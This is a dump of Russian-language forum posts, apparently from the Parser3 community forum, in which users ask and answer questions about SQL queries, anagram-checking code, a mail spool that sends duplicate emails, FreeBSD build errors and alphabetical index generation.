возвращаясь к нашим арбузам...\
если разрешить объекту находиться в нескольких местах дерева то возникает проблема: сложно давать \"ссылку\" (я подразумевая не URI) на объект, с указанием его положения в конкретной точке дерева.\
\
в частности можно попробовать сделать так: \
- добавляем object_to_object.uid\
- записи в таблице object_to_object, которые показывают иерархию объектов в дереве имеют uid = NULL. когда нам нужно дать ссылку на объект, расположеный в определенном месте дерева, мы генерим uid (уникальный) и добавляем записи в таблицу object_to_object, которые фактически дублируют часть связей для интересующего нас объекта в указываемом месте дерева до корня но при этом в поле uid содержат одинаковое значение (то, что сгенерировали). соотвественно в качестве ссылки на объект, расположеный в определенном месте дерева выступает этот uid.\
\
ещё вариант:\
- принять решение что один объект не может находится два раза у одного и того-же родителя (хотя сразу приходит в голову ситуация когда это может потребоваться). в этом случае можно в качестве ссылки использовать комбинацию parent_id И object_id.\
\
хотя проблемы возникнут в так-же и другом месте (смотрим пост. Sergey M.). так что наверное лучше забить на то, что объект может быть в нескольких местах дерева, а использовать эту реализацию лишь для того чтобы избавиться от рекурсии при построении дерева :)"
"52923","Приводится код.\
\
[code]^form:fields.foreach[field;value]{\
$events[^table::sql{select \
	id,\
	site, \
	...\
from table where user_id=$auth.user.id and  \
\
^form:fields.foreach[field;value]{\
`id` = '$form:event_$value'}{ or }}]\
\
\
^void:sql{INSERT INTO table \
(\
		userID,\
		...\
		) \
 VALUES (\
		'$auth.user.id',\
		...\
)}\
\
\
}[/code]\
\
Надо чтобы один дубликат создавался... а создается по нескольку... Как этого избежать?"
"52924","Как удалять сразу несколько записей выбранных по чекбоксу?\
\
[code]\
<input type=\"checkbox\" name=\"id\" value=\"$specially.id\"> $specially.title\
\
^if(def $form:remove){\
$id[$form:id]\
^id.menu{\
	^void:sql{\
		DELETE\
		FROM\
			specially\
		WHERE\
			id = $id\
	}\
	$response:location[http://${env:SERVER_NAME}${request:uri}]\
}}\
[/code]"
"52925","[code]\
\
<input type=\"checkbox\" name=\"id\" value=\"$specially.id\"> $specially.title\
\
^if(def $form:remove){\
$for_delete[$form:tables.id]\
\
	^void:sql{\
		DELETE\
		FROM\
			specially\
		WHERE\
                   ^id.menu{\
			   id = '$for_delete.id'\
                   }[OR]\
	}\
	$response:location[http://${env:SERVER_NAME}${request:uri}]\
}\
\
[/code]"
"52927","В последствии читабельнее или производительность выше?\
Просто интересно."
"52928","в плане производительности думаю оптимизаторы сами это заменяют, хотя я не проверял.\
\
http://dev.mysql.com/doc/refman/5.0/en/comparison-operators.html\
\
[quote]expr IN (value,...) \
\
Returns 1 if expr is equal to any of the values in the IN list, else returns 0. If all values are constants, they are evaluated according to the type of expr and sorted. The search for the item then is done using a binary search. This means [b]IN is very quick if the IN value list consists[/b] entirely of constants.\
[/quote]"
"52929","Типичный ответ из серии: \"да нам похрен ваши проблемы, вы все равно пользуетесь нашим  кропотливым трудом бесплатно\". На каком-нибудь php.org или phyton.org уже бы давно выложили версии для FreeBSD 5.х и 6.х."
"52930","В принципе даже собирать ни разу не приходилось."
"52932","Всё работает, всем спасибо. Надо чаще отдыхать. :)"
"52933","мне три недели никто не может дать \
- ни версию 4.4.2, которая компилируется в debug-варианте (не верите - возьмите исходники официальной версии 4.4.2 с http://www.php.net/downloads.php и откройте их в MSVC - огребёте 14 fatal error'ов)\
- ни версию 4.4.3-dev (HEAD-версия), которая бы не только собиралась, а [i]просто работала[/i]\
\
Багрепорт висит со статусом \"open\" четвёртую неделю.\
\
Так что не жужжите - поддержка парсера и пхп сильно отличается.\
\
Компиляция parser легка и непринуждённа - заходите через SSH или аналог, и выполняете подряд несколько команд, скопипейстенных из документации."
"52934","Я не могу найти ответа. Помогите пожалуйста."
"52938","Спасибо."
"52939","странно. мне выдает Internal Server Error"
"52940","Цитата из письма хостинг провадера:\
\
\"SSH доступ эту проблему не решит, т.к. компилятора там нет\""
"52941","то есть вероятность что либы лежат не в стандартных категориях. Решается выставлением симлинков для админа или пересборкой в дае команды. Сейчас у меня от FreeBSD 6.0 до Debian Linux стоят, правда в последнем ставил админ, поэтому не знаю точной последовательности. Но он не собирал."
"52942","Попроосите их собрать =)\
На форуме была сборка под 5.4"
"52943","Текст: nefiltrovannoe.ru - Пиво в кегах на вечеринки\
Автор: Семин Кирилл Вячеславович\
Е-мейл: dmx102@mail.ru"
"52944","маловато?"
"52945","[и не обращайтесь ко мне на ты]"
"52946","потому, что там люди делают так:\
у кого-то есть FreeBSD 6.x, он компилирует и выдаёт результат общественности.\
\
в Студии FreeBSD ни 5.x ни 6.x не установлен.\
\
\
что качества общения…\
\
я задал вам вопрос \"как не работает?\"\
вы со временем выдали потрясающий по подробности ответ: \"Internal server error\".\
\
интересно, когда вы задаёте вашему пользователю вопрос \"как не работает?\", вы, вероятно, очень радуетесь ответу \"совсем не работает\", вам сразу становится всё понятно и вы немедленно всё чините, и все вокруг сразу начинают светиться удовольствием."
"52947","давайте теперь напишем \
[code]\
^table::load[/from/the/moon/section.cfg]\
[/code]\
\
код станет лучше?"
"52954","читал, что \
where a=b and b=c \
выполняется медленне, чем\
where a=b and b=c and c=a\
\
потому что программе приходится еще устанавливать логику. Что человеку очевидно - машине зло. a=c машине придётся вычислить.\
\
любое дополнительное преобразование => потеря производительности.\
\
Помните ведь именно поэтому в некоторых машинах применяют(ли?) десятичную арифметику?"
"52957","ибо не вы ни я не знаете их оптимизатор настолько чтобы заявлять это с уверенностью. (думаю что если бы вы знали это точно у вас была-бы несколько иная формулировка утверждения, например: \"я сам делал этот оптимизатор и знаю что данная конструкция там не оптимизируется\" :) )\
\
оптимизатор в любом случае что-то делает с запросами. разворачивает простые подзапросы в join-ы, упрощает выражения. очень может быть что и с OR, в случае если их пачка и касаются они одного столбца, поступает аналогично - сам сворачивает их в IN.\
\
но меня это не сильно волнует до тех пор, пока производительность остается на высоком уровне. читаемость кода в этом случае для меня важнее.\
\
например этот запрос:\
[code]WHERE\
	(\
		id = 1\
		OR id = 2\
		OR id = 3\
	)\
	AND parent_id = 4\
[/code]\
с моей точки зрения выглядит гораздо хуже и более громоздок чем этот:\
[code]\
WHERE\
	id IN (1,2,3)\
	AND parent_id = 4\
[/code]"
"52958","[quote]\
но меня это не сильно волнует до тех пор, пока производительность остается на высоком уровне. читаемость кода в этом случае для меня важнее.\
[/quote]\
\
полностью согласен. Просто не факт, что производительность двух запросов одинаковая. А читабельность кода имхо - самая важная штука в программировании."
"52959","Как написать проверку соединения с базой?"
"52960","http://www.parser.ru/f/1/download/utils/test.zip - там в коде осуществляется соединение с SQL-сервером и исполнение запроса [code]SELECT 2+2[/code]"
"52961","Вот запись из error_log под FreeBSD 5.2.1\
\
[Thu May 18 12:57:13 2006] [error] [client 195.19.31.241] Premature end of script headers: /home/igisp_ru/www1_psybooks_ru/cgi-bin/parser3.cgi"
"52962","Вот запись из error_log FreeBSD 6.1\
\
Thursday, May 18, 2006, 12:48:13 PM, you wrote:\
/usr/libexec/ld-elf.so.1: Shared object \"libcrypt.so.2\" not found, required by \"parser3.cgi\"\
[Thu May 18 13:49:18 2006] [error] [client 195.19.31.241] Premature end of script headers: /usr/local/apache/cgi-bin/parser3.cgi"
"52963","Есть два слова, назовем их ГЛАВНОЕ и ПРИСЛАНОЕ\
задача сверить эти слова, чтобы буквы из присланного слова находились в главном слове. (или наоборот :) неважно)\
\
\
вот мой код, но ! Всегда есть одно НО ... \
возможно, ли сделать код лаконичнее и увеличить его быстродействие?\
[code]\
@_word_detect[w_send;w_main]\
\
# создание таблицы букв главного слова\
$W_M_Split[^table::create{piece}]\
^for[i](0;^w_main.length[]-1){\
    ^W_M_Split.append{^w_main.mid($i;1)}\
}\
\
# создание таблицы букв введенного слова\
$W_S_Split[^table::create{piece}]\
^for[i](0;^w_send.length[]-1){\
    ^W_S_Split.append{^w_send.mid($i;1)}\
}\
\
# временный хеш для отбора проверенных букв\
$W_T[^hash::create[]]\
\
# типа счетчик числа совпадений\
$W_C(0)\
\
# перебераем введенное слово по буквам и сверяем его с заданным словом\
^W_S_Split.menu{\
# если у нас несколько одинаковых букв то надо проверить только одну, а вследующий раз другую\
$Ti(0)\
$It(0)\
    ^W_M_Split.menu{\
      ^if(($W_M_Split.piece eq $W_S_Split.piece) && ($W_T.$It ne 1) && ($Ti == 0)){\
        $Ti(1) ^W_C.inc[] \
        $W_T.$It[1]\
      }\
      ^It.inc[]\
     }\
}\
\
^if($W_C == ^w_send.length[]){$result(1)}{$result(0)}\
}\
[/code]"
"52964","[code]^if(def $w_send && def $w_main && (^w_send.pos[$w_main] >=0 || ^w_main.pos[$w_send] >= 0)){\
	$result(1)\
}{\
	$result(0)\
}[/code]\
\
P.S. вызов вашего ^_word_detect[х%й;й%х] вернет 1, так и надо? какие тогда тут слова?"
"52965","что значит \"буквы из присланного слова находились в главном слове\".\
Ибо они могут находиться там по разному.\
Просто совпадение букв, совпадение в заданном порядке, совпадение некоторго количества произвольных букв и т.д.\
\
В зависимости от этого возможны и разные реализации.\
Думаю, в любом сдучае, код будет значительно проще.\
\
Расскажите о задаче.\
Что вы хотите этим методом делать?"
"52966","Да так и надо ! \
так как из слово х@й  можно составить слово й@х\
\
но бональная проверка более сложного слова дала реультат \"0\"  :(\
[code]\
$w_main[ПРЕОБРАЗОВАНИЕ]\
# теоритически возможно такое слово и оно должно пройти \
# т.е. результатом должно быть \"1\"\
$w_send[ООБРАЗ]\
[/code]\
\
[url=\"http://www.parser.ru/forum/?id=52967\"]детальное описание задачи[/url]"
"52967","Вы играли в слова ?\
дано одно большое слово, например ПРЕОБРАЗОВАНИЕ (1 главное)\
Ваша задача составить как можно больше слов из этого слова (2 присланные)\
\
и вы начинаете сочинять слова\
ОБРАЗ, ОБРАЗОВАНИЕ, ОБОЗ, ПЕРО и т.д.\
\
нужна банальная проверка возможно ли из слова 1 составить слово 2.\
так сказать проверка составления анаграммы"
"52968","спасиб, разобрался"
"52969","Еще хотелоь бы лаконичный счетчик посетителей на parser,\
найти нигде не могу, а сам написать пока не в состоянии, помогите найти ссылку или код. Спасибо."
"52970","Два года уже висит...\
http://www.parser.ru/examples/counter/"
"52971","тогда я игрался-бы с хешами, например так так:\
1. делаем хеш из букв первого слова (ключ - буква)\
2. делаем хеш из букв второго слова (ключ - буква)\
3. \
[code]^if($hTwo < $hOne){\
	$hShort[^hash::create[$hTwo]]\
}{\
	$hShort[^hash::create[$hOne]]\
}\
^hShort.sub[^hOne.intersection[$hTwo]]\
$result(^if($hShort){0}{1})\
[/code]"
"52972","Спасибо."
"52973","Т.к. нужно учитывать количество одинаковых букв в слове."
"52976","[code]@words[sHavedWord;sTakenWord][hHavedWord;hTakenWord;iHavedWordLetterCounter;iTakenWordLetterCounter;sLetter]\
$hHavedWord[^hash::create[]]\
$hTakenWord[^hash::create[]]\
\
^for[iHavedWordLetterCounter](0;^sHavedWord.length[] - 1){\
	$sLetter[^sHavedWord.mid($iHavedWordLetterCounter;1)]\
	^hHavedWord.add[\
		$.$sLetter(^if($hHavedWord.$sLetter){^eval($hHavedWord.$sLetter + 1)}{1})\
	]\
}\
\
^for[iTakenWordLetterCounter](0;^sTakenWord.length[] - 1){\
	$sLetter[^sTakenWord.mid($iTakenWordLetterCounter;1)]\
	^hTakenWord.add[\
		$.$sLetter(^if($hTakenWord.$sLetter){^eval($hTakenWord.$sLetter + 1)}{1})\
	]\
}\
\
$result(true)\
\
^hTakenWord.foreach[sLetter;iNumberOfLetterInWord]{\
	^if(^hHavedWord.$sLetter.int(0) >= $iNumberOfLetterInWord){\
		$result($result * true)\
	}{\
		$result($result * false)\
	}\
}[/code]"
"52978","[code]      $wmain[преобразование]\
   $wsend[ообраз]\
   \
   main: $wmain<br />\
   send: $wsend<br />\
   \
   $res(1)\
   $temp[^wsend.match[(.)][gi]{\
     ^if(^wmain.pos[$match.1] >= 0){$wmain[^wmain.match[$match.1][i]{}]}{$res(0)}\
   }]\
\
   оставшиеся буквы: $wmain<br />\
   подходит: ^if($res){да}{нет}\
[/code]\
\
Сравните производительность - нам расскажите."
"52980","в случае таблицы:\
[code]\
^str.match[(.)][g]{^tLetter.append{$match.1}}\
[/code]\
\
в случае подобного хеша:\
[code]\
^str.match[(.)][g]{\
	^hLetter.add[\
		$.[$match.1](^if($hLetter.[$match.1])($hLetter.[$match.1]+1)(1))\
	]\
}\
[/code]\
\
ибо оно быстрее :)"
"52981","В общем, дело хозяйское..."
"52982","Клиент утверждает что получателям дошло чуть ли не по семь писем.\
Я проводил серию тестов. С ними было все впорядке(мне доходило по одному письму)\
В базе повторов нет, в таблицу spool добавились верные собщения, и удалялись после отправки. Не подскажите, есть ли здесь моя вина?\
[code]\
@sent_maillist[]\
$selectQueye[^table::sql{SELECT id, recipient_id, content_id FROM spool LIMIT 0, 100}]\
^selectQueye.menu{\
    $selectAdress[^table::sql{SELECT name, mail, gender FROM maillist WHERE id = '$selectQueye.recipient_id'}]\
    $selectContent[^table::sql{SELECT header_$selectAdress.gender AS  header,  \
    text, file_1, file_2, file_3 \
    FROM content \
    WHERE id = '$selectQueye.content_id'\
    }]\
^if(def $selectAdress && def $selectContent){\
    $name[^$selectAddres.name]\
    $head[^process{$selectContent.header}]\
    ^if(def $selectContent.file_1){$file1[^file::load[binary;attach/$selectContent.file_1]]}\
    ^if(def $selectContent.file_2){$file2[^file::load[binary;attach/$selectContent.file_2]]}\
    ^if(def $selectContent.file_3){$file3[^file::load[binary;attach/$selectContent.file_3]]}\
\
    ^try{\
        ^mail:send[ \
            $.from[timur@bitobe.com]\
            $.x-mailer[Parser 3.2.1]\
            $.to[$selectAdress.mail]\
            $.subject[sub]\
            $.charset[UTF-8]\
            $.text[^untaint{^process{$head}}\
            ^untaint{$selectContent.text}\
            ]      \
            $.file[$file1]\
            $.file1[$file2]\
            $.file2[$file3]\
        ]\
    }{  \
      $exception.handled(1)\
            $log[\
                e-mail: $selectAdress.mail\
                  type: $exception.type\
                source: $exception.source \
                  file: $exception.file\
                  line: $exception.lineno \
               collumn:$exception.colno\
                       $exception.comment\
] \
 ^log.save[append;maillist_errors.txt]   \
    }\
 \
         ^void:sql{DELETE FROM spool WHERE id = $selectQueye.id}\
}\
}\
[/code]"
"52983","проверил все что удовлетворяло условиям задачи.\
рейтин :) по результатам @rusage[]\
\
1 [url=\"http://www.parser.ru/forum/?id=52978\"]Sumo[/url]        0.015625  0.015625  [color=\"#cc0000\"]3792[/color]\
2 [url=\"http://www.parser.ru/forum/?id=52976\"]G_Z[/url]         0.03125   0         [color=\"#cc0000\"]3820[/color]\
3 [url=\"http://www.parser.ru/forum/?id=52963\"]Ipo[/url]         0.015625  0.015625  [color=\"#cc0000\"]3880[/color]\
\
Попробую еще обсосать :) идею от Misha v.3\
Всем спасибо за помощь."
"52984","я вот что-то не пойму\
нужно получить остаток от деления\
есесно есть функция \"mod\", но что-то у меня с ней не ладится\
вот код к примеру: \
[code]\
$i(5)\
$s(^i.mod(2))\
$s\
[/code]\
вроди как должен вернуть 1 а возвращает 0 :("
"52985","С учётом мишиных предложений:\
[code]\
@words[sHavedWord;sTakenWord][hHavedWord;hTakenWord;match;sLetter;iNumberOfLetterInWord]\
$hHavedWord[^hash::create[]]\
$hTakenWord[^hash::create[]]\
\
^sHavedWord.match[(.)][g]{\
	^hHavedWord.add[\
		$.[$match.1](^if($hHavedWord.[$match.1])($hHavedWord.[$match.1] + 1)(1))\
	]\
}\
\
^sTakenWord.match[(.)][g]{\
	^hTakenWord.add[\
		$.[$match.1](^if($hTakenWord.[$match.1])($hTakenWord.[$match.1] + 1)(1))\
	]\
}\
\
$result(true)\
\
^hTakenWord.foreach[sLetter;iNumberOfLetterInWord]{\
	^if(^hHavedWord.$sLetter.int(0) >= $iNumberOfLetterInWord){\
		$result($result * true)\
	}{\
		$result($result * false)\
	}\
}[/code]"
"52986","разобрался, хотя по-моему мнению как-то ето криво сделано."
"52987","два одинаковых куска кода, которые бьют слово на буквы вынести в метод:\
[code]\
@splitByLetters[sWord]\
$result[$._default(0)]\
\
^sWord.match[(.)][g]{\
	^result.add[\
		$.[$match.1]($result.[$match.1] + 1)\
	]\
}\
[/code]\
\
потом собственно:\
[code]$hHavedWord[^splitByLetters[$sHavedWord]]\
$hTakenWord[^splitByLetters[$sTakenWord]][/code]\
\
и концовка плоховата, наверное лучше что-то типа такого:\
[code]\
$result(true)\
\
^hTakenWord.foreach[sLetter;iNumberInWord]{\
	^if($result && $hHavedWord.$sLetter < $iNumberInWord){\
		$result(false)\
		^rem{ и тут бы ^break[] пригодился, если бы он был }\
	}\
}\
[/code]\
\
так мы будем реже ходить внутрь цикла и делать какие-то присваивания.\
\
P.S. не проверял, но думаю идея понятна :)\
P.P.S. при тестировании, если все тестируемые методы в одном файле, не забывайте делать ^memory:compact[] перед вызовами отдельных методов и менять их местами. ну и тестировать надо цикл из тысячи-другой вызовов... :)"
"52989","[code]$i(5)\
$s($i % 2)[/code]\
\
:)"
"52990","Всё верно, но я же не пишу код на заказ, пусть твоарищ сделает доводки сам, я думаю ему будет интересно этим заняться :)\
\
PS Да и насчёт выноса в отдельный метод - это может скушать результаты других оптимизаций ;D"
"52991","ибо этот метод в реалиях не будет вызываться в огромных циклах где эти сотые доли секунды важны.\
\
хотя как знать... вдруг автор-затейник хочет робота написать, который будет слова находить?"
"52993","[quote]Misha v.3 18.05. 17:52 \
\
[code]\
$i(5)\
$s($i % 2)\
:)[/code][/quote]\
\
супа, как в пхп и соответственно в сях...\
\
[quote]Сделано по аналогии с С++[/quote]\
\
батенька, так а какого в доках описано $var.mod(digit) ? м?"
"52994","[quote]\
батенька, так а какого в доках описано $var.mod(digit) ? м?[/quote]\
\
хде?\
вот что вижу я:\
http://www.parser.ru/docs/lang/intdoubleincetc.htm"
"52996","[code]\
^if($last_update > $now-7){ \
   новый \
}{ \
   старый \
} [/code]\
\
$last_update как при этом должен выглядеть? \"0000-00-00 00:00:00\"?\
\
Сделал в запросе UNIX_TIMESTAMP(date) as udt. Сравниваю ^if($udt < ($now * 24*60*60)){...}. Можно как-то проще?"
"52997","Читайте доку, там всё подробно и доходчиво написано."
"53001","все таки нравяцца мне хеши %-)\
\
[code]\
@splitByLetters[sWord]\
$result[^hash::create[]]\
^sWord.match[(.)][g]{\
	^result.add[\
		$.[$match.1=$result.[$match.1=]](0)\
	]\
	^result.[$match.1=].inc(1)\
}\
\
\
@words[sHavedWord;sTakenWord][hHavedWord;hTakenWord]\
$hHavedWord[^splitByLetters[$sHavedWord]]\
$hTakenWord[^splitByLetters[$sTakenWord]]\
^hTakenWord.sub[$hHavedWord]\
$result(^if($hTakenWord){0}{1})\
\
[/code]"
"53002","к сожалению, FreeBSD 6.x под рукой нет, чтобы проверить совет.\
но, попробуйте:\
в файле parser3.cgi в hex редакторе исправить точку перед двойкой в строке \"libcrypt.so.2\" на байт 00."
"53003","попробуйте такой подход,\
http://www.parser.ru/forum/?id=15219\
чтобы увидеть ошибку подробнее."
"53004","[code]\
#сортируем буквы в обоих словах в порядке возрастания\
#из ПРЕОБРАЗОВАНИЕ \
#делаем ААБВЕЕЗИНООПРР\
#а из ОБРАЗ\
#делаем АБЗОР\
#теперь ищем в первом второе вот по такому regex:\
#А.*Б.*З.*О.*Р\
[/code]\
\
забавно, что такая задачка не попадалась.\
у вас курсовик? [шучу, ну]\
\
кто-нибудь помнит, откуда фараза \"вот и мои пять копеек\"? уверен, классика, но невежественен."
"53005","можно же в просто replace переделать.."
"53007","...пока первый экземпляр этого скрипта размышлял и пыхтел,\
вполне мог запуститься второй..."
"53009","\"Швейцарский ножик\" обновился до версии 3.4.\
\
Если вы уже пользуетесь предыдущей версией, вам, наверное, не нужно обновляться - ничего революционного нет.\
\
Изменения в этой версии:\
\
- В состав пакета включён Zend Optimizer 2.6.2; \
- MySQL обновлён до версии 4.1; \
- Теперь обработка SSI-команд в *.shtml-файлах включена по умолчанию; \
- Была исправлена ошибка в php.ini, которая в некоторых случаях приводила к падению PHP (Bug #37188). Если вы уже пользуетесь предыдущей версией, 3.2b или более ранней, вам достаточно отредактировать php.ini, заменив:[code]include_path = \"c:/…путь…/вебсервер/php/[/code]на:[code]include_path = \"[b].;[/b]c:/…путь…/вебсервер/php/[/code]\
\
Брать, как обычно, на [url=\"http://swissknife.bougakov.com/?comefrom=parser_ru\"]http://swissknife.bougakov.com/[/url] (6,6 или 13,8Mb)"
"53010","я имею в виду ^match[regex][]{replace code}\
а не string.replace"
"53012","Из навания темы думаю мало что понятно. Попробую объяснить\
\
Есть база с набром терминов и их расшифровкой. Что-то вроде энциклопедии.\
Задача:\
Сделать рубрикатор как тут: http://www.rlsnet.ru/opisdrug/TNList.php?l=193&rng=0\
\
Если по первым буквам, то тут естественно без проблем. А вот по первым четырем - тут затык.\
Подразумаевается, что в каждом интервале выводится одинаковое количество записей. Т.е. при изменении кол-ва записей интервалы могу поменяться.\
\
Может кто реализовывал подобное? Или есть у кого какие мысли или идеи по поводу реализации этого безобразия. Буду очень признателен за любые наводки."
"53013","Не понимаю в чём сложность при нескольких буквах.\
\
Покажите как вы делаете или хотя бы представляете себе алгоритм, вам подскажут что не так."
"53014","Если мы делаем полько по первым буквам, то мы заранее знаем какие это могут быть буквы.\
\
В случае интервалов я заранее не знаю какие это будут буквосочетания.\
Например\
[code]Абактал\
Абергин \
Абинол \
Абисиб \
Абисил \
Абитаксел \
Абитэль \
Абомин [/code]\
Надо разбить на куски по 3 слова. Таким образом в рубрикаторе должны получить\
[code]Абак - Абин | Абис - Абит | Абит - Абом[/code]\
Если добавится какое-то слово, то рубрикатор изменится\
\
Мысли пока не выстроились в четком направлении. Потому и прошу подтолкнуть.\
\
Абстрактная мысль. Разбивая на куски по n слов мне надо достать кажное 1, n, 1+n, 2*n, 1+2*n, 3*n, ...  слова (из них уже можно взять первые буквы для рубриктора). Только вот мысль не идет о том, как за раз вытащить все нужные мне слова.\
\
Однако чувствую, что истина где-то рядом. Но если кто подкинет умную мысль - буду признателен"
"53015","Если у кого не открывается сайт, а скачать хочется - прямая ссылка на файлы: http://sourceforge.net/project/showfiles.php?group_id=144555"
"53017","насчет решения задачи - идея понятна даже очень - все как для полного идеота рассказали :)\
\
P.S. все тестируемые методы разнесены по разным файлом ! так что чистота эксперемента 100% и проверяется слово (наверное вы будуте смеяться, но оно реальное)\
1) метросальпингография\
2) навозоразбрасыватель\
из них создаю произвольные слова по 7 символов и проверяю\
\
P.S.S. почти закончил написания игрушки в слова. Как детище будет готово - лично каждому дам по исходному коду в благодарность за помощь ;)"
"53019","ты всегда знаешь какие буквы есть в русском языке.\
\
у тебя просто алфавит больше:\
смотри\
\
0\
1\
\
00\
01\
10\
11\
\
у тебя\
\
а, б, в ... аа, аб, ав .... абвг, абвд...\
\
\
алгоритм:\
\
начинаешь перебирать слова с шагом N. \
у энного слова\
\
1) отрезаешь нужный кусок и сравниваешь с последним записанным элементом алфавита.\
2) если равны делаешь еще шаг  и опять смотришь\
3) когда нашел отличающуюся последовательность её пушаешь в массив со своим НОВЫМ алфавитом.\
4) проходишь до конца массив со словами.\
\
в сформированном тобой массиве будет \"новый русский\" алфавит\
\
* условия: входной файл со словарём отсортирован лексикографически по возрастанию"
"53020","К тому же спул в SQL частично бы от этого спасал. Но разослать 7 раз письма по 500 кб, я думаю что там бы хостер просто бул бы недоволен. Может быть проблема в нем? Хотя тоже странно."
"53021","...если к ним не обращаться, но при этом вести активную работу с другими ключами? возникает ощущение, что никогда."
"53022","нахождению медианы или квартилей у частотного распределения (вам же надо разбить последовательность на X равных групп и узнать границы групп, да?)\
\
Вот и используйте - http://en.wikipedia.org/wiki/Quantile"
"53023","разбить на группы одинакового размера нельзя - всегда есть простые числа, а значит иногда будет появлятся ХВОСТ"
"53026","т.е. чтобы удалять устаревшие записи надо периодически делать foreach по хешфайлу. ПАФ кажется отдельно оптимизировал подобный foreach.\
\
ну а чтобы делать это периодически, можно написать например такое:\
[code]\
^if(^math:random(10) < 3){\
  чистим\
}\
[/code]"
"53027","приведенный мной вариант с $._default(0) не работает, т.е. разбивку на буквы надо переписать с if (как у G_Z).\
\
а вариант в [url=\"/forum/?id=53001\"]этом сообщении[/url] работать должен, правда я не знаю насколько оптимально :)"
"53028","1. что такое \"Queye\"? может имелось ввиду \"Queue\"?\
\
2. делать в цикле $selectAdress[^table::sql{SELECT name, mail, gender FROM maillist WHERE id = '$selectQueye.recipient_id'}] - плохо. вынесете это из цикла:\
[code]\
$selectAdress[^hash::sql{SELECT id, name, mail, gender FROM maillist WHERE id IN (^selectQueye.menu{'$selectQueye.recipient_id'}[,])}]\
[/code]\
, обращаться потом $selectAdress.[$selectQueye.recipient_id].mail\
\
3. с $selectContent можно поступить аналогично\
\
4. $head[^process{$selectContent.header}], затем ^untaint{^process{$head}} - зачем 2 раза?\
\
5. $name[^$selectAddres.name] - ниасилил."
"53029","То улетел дисковый массив, на котором висели все CVS'ы и народ мучался несколько недель то вот глюки с вебсервером... Compile farm постоянно полуживая..."
"53030","Вы как всегда поправили.\
\
Единственное, похоже скрипт тут слава богу не причем. Код сейчас исправлю."
"53031","http://www.parser.ru/forum/?id=52978 - \
всетаки компактный и более быстрый :) ,а самое главное поставленую задачку на 100%  решает %)\
\
при исходных словах \
\
sHavedWord: метросальпингография\
и\
sTakenWord: емторсаьляифгрпи\
\
обгоняет всех на два корпуса \
я еще написал как ПАФ советовал! скорость такая же как у Sumo , а если не видно разницы, зачем пратить БОЛЬШЕ :)"
"53032","Последний парсер висящий модулем на freebsd иногда начинает сходить с ума и на\
[code]^math:md5[$request:uri][/code]\
начинает выдавать строку символов в верхнем регистре."
"53033","Как сделать редирект формы?\
Имеется в виду вот что: у меня на www.bershad.info  есть форма входа в почтовый аккаунт.\
Для авторизации нужен логин формата name@bershad.info  а я хочу, что б пользователь вводил только name, а @bershad.info добавлялось 'на лету'\
я пробовал сделать на яве, но похоже не получилось почему-то.\
Может ли кто-то помочь?\
Спасибо!"
"53035","^try{$d[^file::load[text;http://iplace.ru/sdfkdsdf/;$.timeout(2)]]}{не загружается файл }\
\
пишет ошибку 404, вместо того, чтоб обработать...\
если из url убираю последний \"/\", то пишет 302...\
\
почему так?"
"53038","Спасибо. всё заработало. :)"
"53039","Подскажите. Имя файла приходит из формы методом GET. Как правильно преобразовать коды %nn в имени, если в нем содержатся русские буквы или пробелы?"
"53041","Получили и работайте с ним, это ведь те же самые символы."
"53044","[code]\
# вот наша табличка с какими то полями:\
$tNameList[^table::create{name\
Бабушкин сироп\
Багомет\
Багоприл\
Баготирокс\
Багульник болотный\
Багульника болотного побеги\
Бадана корневище\
Бадяга\
Бадяга (порошок)\
Бадяга комп.\
Базиликум\
Базирон АС\
БазоВиталь Форте\
Байгон липкая лента от мух\
Байгон Мастер\
Байгон спираль\
Байгон — Гениус\
Байгон — пластины против комаров\
Байоджевити\
Байцаотан\
Байцзы (Байцзыянсиньвань)\
Бак Лонг\
Баклосан\
Баклофен\
Бакопа Монниери\
Баксин\
Бактериобаланс\
Бактериофаг дизентерийный поливалентный\
Бактериофаг дизентерийный поливалентный\
Бактериофаг дизентерийный поливалентный жидкий\
Бактериофаг клебсиелл пневмонии очищенный жидкий\
Бактериофаг клебсиелл поливалентный очищенный\
Бактериофаг коли жидкий\
Бактериофаг колипротейный жидкий\
Бактериофаг протейный жидкий\
Бактериофаг псевдомонас аэругиноза (синегнойный) жидкий\
Бактериофаг псевдомонас аэругиноза жидкий\
Бактериофаг сальмонеллезный групп ABCDE в свечах\
Бактериофаг сальмонеллезный групп ABCDE жидкий\
Бактериофаг стафилококковый в свечах\
Бактериофаг стафилококковый жидкий\
Бактериофаг стрептококковый жидкий\
Бактериофаги диагностические холерные\
Бактериофаги стафилококковые типовые диагностические сухие\
Бактериофаги стафилококковые типовые диагностические сухие — Англия (международный набор)\
Бактериофаги холерные диагностические жидкие\
Бактериофаги холерные диагностические сухие\
Бактериофаги холерные (ТЭПВ-1, 2, 3, 4, 5, 6 и 7) диагностические жидкие\
Бактериофаги холерные (ХДФ-3, 4, 5) диагностические жидкие}]\
\
# делаем рубрикатор по первым буквам\
$hRubric[^tNameList.hash{^key(1)[$tNameList.name]}[$.distinct[tables]]]\
\
# для каждой буквы делаем рубрикатор по 4-м буквам\
^hRubric.foreach[letter;rubricTable]{\
	$hRubric.[$letter][^rubricTable.hash{^key(4)[$rubricTable.name]}[$.distinct[tables]]]\
}\
\
@key[letterAmount;name]\
$result[^name.mid(0;$letterAmount)]\
$result[^result.trim[]]\
$result[^result.upper[]]\
[/code]\
\
В результате получаем двухуровневый хеш, у которого, правда, могут быть русскоязычные ключи.\
\
Например: Из рубрики \"Б\" необходимо получить подрубрику \"БАКТ\"\
[code]\
^hRubric.Б.БАКТ.menu{\
	$hRubric.Б.БАКТ.name\
}[<br>]\
[/code]"
"53048","Пытаюсь подключить класс авторизации\
\
Вот код корневого auto.p:\
\
@auto[]\
$SQL.connect-string[mysql://root@localhost/lessn]\
#$connect_string[mysql://root@localhost/lessn]\
^use[/_classes/lib.p]\
^use[/_classes/mysql.p]\
^use[/_classes/sql.p]\
\
Парсер ругается так:\
usage failed - no $MAIN:CLASS_PATH were specified\
sql.p\
\
Если пишу перед @auto\
\
@USE\
/_classes/lib.p\
/_classes/mysql.p\
/_classes/sql.p\
\
парсер ругается так: \
\
usage failed - no $MAIN:CLASS_PATH were specified\
lib.p\
\
В чем все-таки может быть проблема? :("
"53057","Попробовал написать мелкий класс для построения списка алфавитного указателя. В классе имеется таблица с цифрами и буквами (русского и английского алфавита).\
[code]\
@CLASS\
aindex\
\
@init[tItems;sItemsColumnName][tblItemsColumns;strActiveLetter]\
^if(def $tItems){\
	^if(!$tItems is 'table'){\
		^throw[aindex;Items is not table.]\
	}\
	$_prepareActiveLetter{\
